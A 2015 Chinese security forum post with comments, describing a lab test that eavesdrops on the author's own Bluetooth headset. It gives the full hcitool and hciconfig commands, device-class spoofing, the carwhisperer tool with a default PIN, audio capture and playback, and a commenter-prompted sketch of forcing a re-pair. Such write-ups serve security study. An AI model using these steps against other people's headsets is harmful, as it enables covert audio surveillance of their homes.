窃听蓝牙耳机小实验
mramydnei | 2015-10-19 22:41
上周看了下Hirsch-Bluetooth-Device-Security-2015感觉里面的这段挺好玩的。
Scenarios (5) Example #4: all Bluetooth speakers or headsets that are auto-discoverable with HSP (headset) service (most have this) ● Eve walks down street listening for auto- discoverable HSP devices (these are common!) ● Eve notes that many well-to-do neighborhoods have lots of these HSP devices left on 24/7, and that Eve can pair remotely without local confirmation, and listen to everything in the home the microphone can pick up.
于是乎从网上买了个蓝牙耳机打算实验一下。
产品名:ELECOM HS10
支持的协议:HFP/HSP
通信方式:蓝牙3.0
然后开始RTFM。发现默认PIN是0000,长按操作按钮5s后会进入到匹配模式。按照说明书长按5s进入到匹配模式后,开始借助pc扫描蓝牙设备
root@kali:~# hcitool scan Scanning ... 28:52:E0:XX:XX:XX HS10
获取到蓝牙地址后,更改device class假装自己是一台手机:
service bluetooth restart hciconfig hci0 up hciconfig hci0 class 0x500204
确认更改生效
root@kali:~/carwhisperer-0.2# hciconfig -a hci0: Type: BR/EDR Bus: USB BD Address: A8:86:DD:XX:XX:XX ACL MTU: 1021:8 SCO MTU: 64:1 UP RUNNING RX bytes:508634 acl:119 sco:9598 events:755 errors:0 TX bytes:212355 acl:132 sco:9486 commands:371 errors:0 Features: 0xbf 0xfe 0xcf 0xfe 0xdb 0xff 0x7b 0x87 Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 Link policy: RSWITCH SNIFF Link mode: SLAVE ACCEPT Name: 'kali' Class: 0x500204 Service Classes: Object Transfer, Telephony Device Class: Phone, Cellular HCI Version: 4.0 (0x6) Revision: 0x22fc LMP Version: 4.0 (0x6) Subversion: 0x416a Manufacturer: Broadcom Corporation (15)
从此处下载carwhisperer-0.2并解压。
http://trifinite.org/Downloads/carwhisperer-0.2.tar.gz
make一下,然后修改makefile的两个坑,把cw_pin.sh替换成cw_pin.pl保存退出后make install一下
来完成安装。随后借助我们之前获取的蓝牙地址开始窃听目标耳机:
root@kali:~/carwhisperer-0.2# carwhisperer hci0 message.raw justatest00.raw 28:52:E0:XX:XX:XX Voice setting: 0x0060 RFCOMM channel connected SCO audio channel connected (handle 6, mtu 64) got: AT+VGS=14 ansewered: OK . .
最后将窃听到的raw文件转成wav并播放。
root@kali:~/carwhisperer-0.2# play -t raw -r 8k -e signed -b 16 -c 1 justatest00.raw justatest00.raw: File Size: 91.8k Bit Rate: 128k Encoding: Signed PCM Channels: 1 @ 16-bit Samplerate: 8000Hz Replaygain: off Duration: 00:00:05.74 In:100% 00:00:05.74 [00:00:00.00] Out:45.9k [ | ] Clip:0 Done.
测试成功。
PS:用ubertooth嗅探到的LAP+计算出来的UAP确实可以确认host是否online,不过没有NAP好像连接不了样子。感觉和网上说的不太一样。如果有知道的求告知 lol
各种吐槽:
1#
mango (待我乌币800万 姑娘嫁我可好) | 2015-10-19 22:47
有视频嘛
2#
mramydnei | 2015-10-19 22:52
@mango 我录一个加进去吧。
3#
苦咖啡 | 2015-10-19 22:55
录制一个吧 看起来很好玩
4#
mango (待我乌币800万 姑娘嫁我可好) | 2015-10-19 23:07
@mramydnei 恩恩~~这样最号~~
5#
mramydnei | 2015-10-19 23:35
6#
数据流 (| 1970-00-00 00:00) | 2015-10-20 00:26
“更改device class假装自己是一台手机”。 用伪装一词会不会更好呢。(·_·)
7#
小手冰凉 | 2015-10-20 05:16
没看明白,攻击场景是什么?用自己的设备连上对方处于挂起状态的蓝牙耳机?
8#
爱捣蛋的鬼 | 2015-10-20 10:41
是可以窃听戴的人周边的声音吗, 如果已经和手机对接上了,这个是不是就无效了
9#
数据流 (| 1970-00-00 00:00) | 2015-10-20 11:18
@小手冰凉 首先要让别人处于未连接状态。
10#
南哥 (<///////////////////////>) | 2015-10-20 12:16
mark
11#
白无常 | 2015-10-20 15:46
留名
12#
疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-10-20 17:34
@mramydnei 可以这样理解不,这个演示是因为蓝牙耳机、话筒在未连接前提下是可以被发现的(蓝牙主动广播),然后客户端伪装成手机在用默认PIN 0000链接上去,麦克风就开始正常工作了,然后通过蓝牙栈开发的小程序记录下通信中的音频脉冲,最后重方。是这样子么?
13#
mramydnei | 2015-10-20 18:18
@疯狗 是的,不过实战中应该还有很多坑需要去填。
余下的部分还在学习和测试当中
14#
疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-10-21 17:15
@mramydnei 嗯,看来理解无误,但影响还是挺大的,而且中间蓝牙协议的通信都是蛮好玩的部分,期待近期发个后续心得啊。如果没啥问题,俺最近也写点BLE安全的跟你凑凑热闹。
15#
数据流 (| 1970-00-00 00:00) | 2015-10-21 17:32
@疯狗 狗哥也在研究ble呀?
16#
mramydnei | 2015-10-21 17:41
@爱捣蛋的鬼 @小手冰凉
需要满足3个条件:
(1)知道目标设备的蓝牙地址
(2)需要保证目标设备处于没有和其它设备连接的状态
(3)知道pin code是多少
17#
mango (待我乌币800万 姑娘嫁我可好) | 2015-10-21 17:48
@mramydnei 视频已被屏蔽
18#
mramydnei | 2015-10-21 17:49
关于(2)如果目标耳机支持同时连接多台设备,应该不是必要条件
19#
疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-10-21 19:09
@数据流 是啊 ble便宜
20#
insight-labs (Root Yourself in Success) | 2015-10-21 19:50
@mramydnei 有没有类似deauth攻击的方法强行解除配对……
21#
mramydnei | 2015-10-21 22:00
@insight-labs
yes,如果假设蓝牙耳机是和手机连接的,那么手机端必须支持unpairing。
(1)获取蓝牙耳机的地址,将你的蓝牙地址更改成耳机的蓝牙地址
(2)jam掉原始的连接(手机和耳机之间的)
(3)现在给手机发送link layer connection,说老子把key弄丢了,怎么办?
(4)手机这个时候也许会说 居然你忘记了 那我们就再配对一次吧(总不能就这么把这个耳机给废了不是。。)
理论上是这么个流程吧。不敢打包票
22#
mramydnei | 2015-10-21 22:03
@mango
屏蔽原因:按照相关规定,限制传播
请注意:
《互联网信息服务管理办法》所严禁的九类信息
(一)反对宪法所确定的基本原则的;
(二)危害国家安全,泄露国家秘密,颠覆国家政权,破坏国家统一的;
(三)损害国家荣誉和利益的;
(四)煽动民族仇恨、民族歧视,破坏民族团结的;
(五)破坏国家宗教政策,宣扬邪教和封建迷信的;
(六)散布谣言,扰乱社会秩序,破坏社会稳定的;
(七)散布淫秽、色情、赌博、暴力、凶杀、恐怖或者教唆犯罪的;
(八)侮辱或者诽谤他人,侵害他人合法权益的;
(九)含有法律、行政法规禁止的其他内容的。
23#
insight-labs (Root Yourself in Success) | 2015-10-21 22:10
视频传youtube
留言评论(旧系统):